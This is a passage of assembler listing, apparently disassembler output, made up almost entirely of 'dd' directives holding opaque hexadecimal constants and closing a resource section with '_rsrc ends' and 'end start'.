dd 2DD5ED35h, 7EABAEh, 5823B16h, 7DA168EFh, 0BA7C838Bh
dd 0D1F17304h, 9B39A09h, 0D7963FA9h, 0A8C26822h, 2D905661h
dd 0FBA4A968h, 883696A5h, 0DD6C67BEh, 71CAA49Bh, 0C1E6B4F9h
dd 0E8432116h, 0FB8ED868h, 2981F703h, 4F1B866Ch, 99FE1FD0h
dd 173459D9h, 1B256AE2h, 2A18CBD4h, 0B16FC207h, 0CDD404A2h
dd 180EBF9Bh, 0F59FC35Ch, 0A6BBBFBFh, 0F9A31549h, 9445B6D8h
dd 0F9EF49AEh, 66D050h, 5D863B42h, 57AD3AF3h, 1E80DB2Bh
dd 199CDF34h, 0BD439B0Dh, 6EC7876Bh, 0CAA13C1Dh, 56309AF6h
dd 0E6DC1293h, 4AA08753h, 0DA4404F3h, 78CE9CC6h, 4C44BCD5h
dd 0F197FF92h, 0AA39BBB9h, 45D36C49h, 0DD87F118h, 2A2C90E5h
dd 0BAFDF09Dh, 64264A8Fh, 15C96E85h, 917AC73Dh, 869A0078h
dd 296956EAh, 0A3FBD195h, 0CD6B5Ch, 1D9DAB06h, 90A7DA5Dh
dd 9D0CEBF5h, 0F485363Bh, 6C2EDCF1h, 5FF519Ch, 9D9BC53Eh
dd 0EA4C5005h, 7A1DB0BDh, 64460A6Fh, 8DE92EA8h, 25D57CD7h
dd 4FB88BB6h, 0FA6CFF0Bh, 83071EF0h, 0AAD247CAh, 2A15CFFDh
dd 499E5111h, 8A67D3D3h, 715AE847h, 0C4786B29h, 0A9D1436Ch
dd 2D638B35h, 0AB8EF78Fh, 0CAA55EF2h, 0E96EDDCFh, 54E05959h
dd 0D3BAD462h, 6919DB79h, 0A16962DBh, 9C54F3E3h, 71C40910h
dd 825176E1h, 792DCBD4h, 0B299259Dh, 0B13A098Dh, 54FDC3D8h
dd 0D9E6863Bh, 0F1C72C15h, 6BA22735h, 0AC51DD1h, 294E71EDh
dd 41B9B30Ah, 511A8747h, 0B528DB60h, 53A6AE51h, 0D342B06h
dd 0D83C1763h, 25160556h, 0D0067E1Fh, 63B11770h, 6E8127DBh
dd 8578F9B1h, 5B42D424h, 22AFE305h, 4192B5BFh, 0D57AD9E2h
dd 0D3B1F2DFh, 809C432Fh, 0DEBEAA3h, 2558607Eh, 665FEF71h
dd 4D24C16Dh, 0D7DC846Ah, 0D51ABB1h, 4FB242CEh, 168CD35Ah
dd 2128EB38h, 0C80F0A19h, 2A5660BAh, 0FC3327BBh, 91A02FC0h
dd 672B3691h, 261ECF1Dh, 0C7007E0Dh, 0A4DA07A8h, 5B31442h
dd 0CA963FA9h, 7C9C7476h, 0F1524A23h, 935A803Ch, 89917FCFh
dd 0E29D9730h, 0EE41A79Bh, 538795Dh, 0CC77479Ah, 686D63B5h
dd 71BD82DBh, 55A09B8Ah, 0B61E1FCFh, 16DFB227h, 0E4BA577Bh
dd 9CD7DAB7h, 0B2955A38h, 0BD969322h, 4AC71F03h, 40092B61h
dd 0A271BECBh, 504C632Dh, 0E9E64Dh, 0CE67CE2Ah, 0E9A477BCh
dd 0C4D1E295h, 0E49931AEh, 8DB14826h, 159BEAAEh, 0D8F3C30Ch
dd 1975F2Ch, 0DCADE14Ah, 65BD91D0h, 9EEC27Ah, 2C32A5E4h
dd 0F7E95708h, 0B90CFE93h, 4CE4D772h, 0B2A7F08Ah, 0C77C4080h
dd 94834F07h, 8094C741h, 0F980EA93h, 18600B31h, 6423E20Ah
dd 0BE50B062h, 1C7EC73Bh, 0D11F2AF4h, 0B7645043h, 4F09D979h
dd 0D5983797h, 51E4DFFDh, 0CD894B9Dh, 64C8DDh, 4669DE84h
dd 0C503A3DEh, 2C31968Bh, 0EC84D114h, 78D38630h, 3241C22Ch
dd 0ECE82846h, 0EC22F7C0h, 5DAA42h, 74FED048h, 60FF466Bh
dd 5049E058h, 9DD365D6h, 0D4151611h, 0F55B2F2Ch, 0E2701E70h
dd 842B8AD2h, 0C38B13A0h, 0A9198236h, 0BC40F9DDh, 37A18F9Ah
dd 0D915F64Ch, 305771EBh, 93F4017Ch, 393A470Bh, 0A46DE688h
dd 39F66FAFh, 0AAD34025h, 61A2A36Ah, 0F511D1CAh, 5BE7DB3Fh
dd 0DF700814h, 3AC6E70Bh, 43075D77h, 56DFE504h, 6D44A2F4h
dd 4D6D9EEh, 0B07F2D8Bh, 0A6679C7Fh, 0BDBCF2BCh, 5104C67Ah
dd 0F4781B69h, 79D3E92Ch, 0B9759505h, 150ECA65h, 0C0F06BC0h
dd 29490762h, 5C0C331Dh, 0F107B957h, 6548C839h, 95BF2FB7h
dd 0AD24E254h, 414AEECEh, 0CB010BB1h, 0C0F207E0h, 7A9D6EF0h
dd 91EA85B3h, 86D99528h, 1A33EF47h, 0B8FC8321h, 0E8C3DA69h
dd 75D1D11Fh, 9DD1BEFFh, 9D8CE31Bh, 0BCE22546h, 671EB4Fh
dd 99B38B0Ah, 2505283Ch, 0A726DACh, 582E716h, 9D64DEEFh
dd 3E7C73D5h, 5B3258ABh, 95CD266Bh, 9BDD1FCh, 9DD454C5h
dd 3129EAD0h, 0D3D08181h, 35C63718h, 0CC128395h, 78982452h
dd 0A779F96Dh, 82D65C68h, 0D2CD63C5h, 0FAB27422h, 55A08B61h
dd 0B521DCFh, 66CC3838h, 11B7477Bh, 0B163DBE9h, 62E60CC8h
dd 9C510395h, 6B1762AAh, 0CE00A8E2h, 89EEBFAFh, 23A4631Dh
dd 6AAAE77Bh, 45087DB1h, 0BB3EE737h, 0E7E1BE6Fh, 11598F70h
dd 0BFFC4D51h, 29CE7847h, 0A6D47885h, 0F178875Bh, 1E48A0BCh
dd 794EAF37h, 6E74385h, 9A785C63h, 0C96F6B51h, 19510A64h
dd 5D2CA326h, 3D9A275Bh, 0ED5B3BA0h, 16465F30h, 0FA243321h
dd 4112402Ch, 55BDFF36h, 59D545FCh, 8B5038EDh, 6ACA441Ah
dd 25D85BB9h, 0B26AEFC7h, 563C20E5h, 10F017D3h, 5AB2AAAh
dd 9AE2FC1h, 0C5EC1F5h, 86A7BFB2h, 76B04664h, 0D4268FF9h
dd 0DDC68BEAh, 2575B6B3h, 0FD405BCFh, 7037B33Ah, 3F4BF7C0h
dd 1ECF072Bh, 65A8D92Dh, 0FC420172h, 0DA502B77h, 0A3D39A0Ah
dd 0B530E9F8h, 0E97245E0h, 588C13BDh, 7494F5D1h, 3FA92FFFh
dd 9897AC7h, 2D64532Eh, 0AEA2F793h, 0A96304E5h, 5E7E0F91h
dd 8DC32FFAh, 0BAADBE0Bh, 9898CB79h, 905DBA6Bh, 4A54032Bh
dd 71A297F0h, 466BDAE1h, 1C6C5E3Fh, 0CD4FC6F9h, 0B12AF734h
dd 54A87B59h, 0D9E6713Bh, 45D5BE15h, 0F8059CCBh, 796B426Ch
dd 0A65E4F71h, 4540FEBBh, 0DC1A87EBh, 0F53A7FFEh, 898C36A7h
dd 0ED180986h, 8CB2D763h, 37E16387h, 5B4B48F2h, 0B627CA89h
dd 7C0A37EBh, 957814B6h, 94787D97h, 12A5C7E9h, 4192676Ch
dd 0BE3D8AB1h, 693E9F0Fh, 0FE94E9E4h, 0A0F7BF15h, 0AAE16EACh
dd 0B9C62D3Fh, 56C408B0h, 0E1321753h, 77FCABA1h, 1B2B37D6h
dd 169CFC51h, 2128D768h, 0ADB97219h, 0D6F77F78h, 0EDF4FC85h
dd 8162B773h, 0D0D4925h, 6D03C7C0h, 0D8C32E10h, 0B9A706AFh
dd 363CA920h, 0C03A9EBDh, 1967507Eh, 0AA52474Ch, 0A5F21FFEh
dd 0F0728EDFh, 6F3B1EFFh, 72F32220h, 9A223BF9h, 9976C805h
dd 0DF4B65E2h, 0D32E219Bh, 0BCD00453h, 30B57067h, 37D58930h
dd 1F0468Fh, 0DEA8609Ch, 39766F57h, 0E5F23A5h, 0EA1FE400h
dd 0E552DBEEh, 0A271BEBFh, 0A04C632Dh, 0B1AAC01Ah, 8317BD9h
dd 0A5E7981Fh, 84C4A395h, 1153CB70h, 9580CC51h, 0E8DFABAFh
dd 1DDCFBCCh, 0CE63E7CBh, 0E5E8E479h, 7916AF27h, 65064691h
dd 0D823222Eh, 45E3E217h, 0ECCEEFE1h, 75E51CFAh, 76FF1C86h
dd 85F8F955h, 1C5B4DFAh, 44CC2AFCh, 51F9C750h, 0D5600A31h
dd 0E4B26B8Fh, 0D5E676Ah, 0C5EDC64Bh, 28D84B67h, 0C974C78Ch
dd 0C89C8465h, 5E77077Dh, 7560E9C9h, 1CB68588h, 95C65CDCh
dd 0B47A253Ch, 50C8A3F8h, 69E4FF7Ch, 0C6E0CB55h, 0C3E1B7B3h
dd 583F9419h, 3F11653Fh, 0F4FC83D6h, 0C16177A8h, 65B89B89h
dd 0FC181BC7h, 7D84ACCAh
dd 50D2E1A3h, 0A5575B86h, 4B8E7F5Fh, 0CBE088BDh, 1C592D9h
dd 5A82B42h, 0C606CBD7h, 8CF7E92Fh, 30C2E75Ch, 45E73B76h
dd 0E9BE1F4Fh, 0F7D568ADh, 7BF8450Ah, 9C7A0D67h, 386C78B2h
dd 0CFFEC133h, 547B7551h, 0D7894FAFh, 0B16C4223h, 0DF44101Ch
dd 0B82AE70Bh, 840206DDh, 35794256h, 7C449353h, 11D459E0h
dd 358BB6D1h, 0F05E4F71h, 0CDEA41FAh, 0D58DFCEBh, 72780B87h
dd 89943B3Ch, 0E786F405h, 29DD1A63h, 54F07B7Fh, 0B9482D94h
dd 0D5FF8E7Dh, 0C80A379Dh, 955EE9AEh, 4519D497h, 3C24D3B6h
dd 51C0F3A0h, 4AE5DDB1h, 692EB14Dh, 0BF1498ECh, 0D4FAC7BBh
dd 25585B41h, 0BACC4487h, 55CD7066h, 912A1753h, 8D4B6CACh
dd 862E2FF4h, 0D50D129Dh, 72DBD732h, 0D553C39Eh, 69B1CE77h
dd 820409D5h, 0F5E15117h, 66944775h, 813ECEE4h, 0EC692E09h
dd 1E320438h, 0CDCD266Fh, 607FA239h, 0AA31ED66h, 331E010Bh
dd 0B5B0D0F9h, 0A6361FDFh, 52F90EA0h, 8D061E94h, 3993B8C9h
dd 1486DF18h, 0AE4A6B05h, 0B440F1DDh, 55B85D96h, 64FE72CFh
dd 4F5C5969h, 7256A3Bh, 2818CBD4h, 5FF5770Bh, 0F9111E59h
dd 1FAF9630h, 8F32C365h, 9056520Eh, 0FE19CEC0h, 0B1568F3Eh
dd 0B6717BD9h, 0D966F28Fh, 6DBFCB95h, 216037F3h, 95907351h
dd 19065FAFh, 7F3CF30Dh, 0CE228747h, 4DF81BCAh, 7956AF2Ah
dd 8AB46F43h, 0E616F32Fh, 35D8EA2Bh, 0E1EEF8ABh, 5D2C93FDh
dd 1A673E6h, 60232E6h, 290DDD04h, 4D358B75h, 8321FA5Ah
dd 0D7610B35h, 6AC09C96h, 0AE52915Ch, 327A6BB7h, 0A6037253h
dd 0E8D2h, 51h dup(0)
dd 1500h dup(?)
_rsrc ends
end start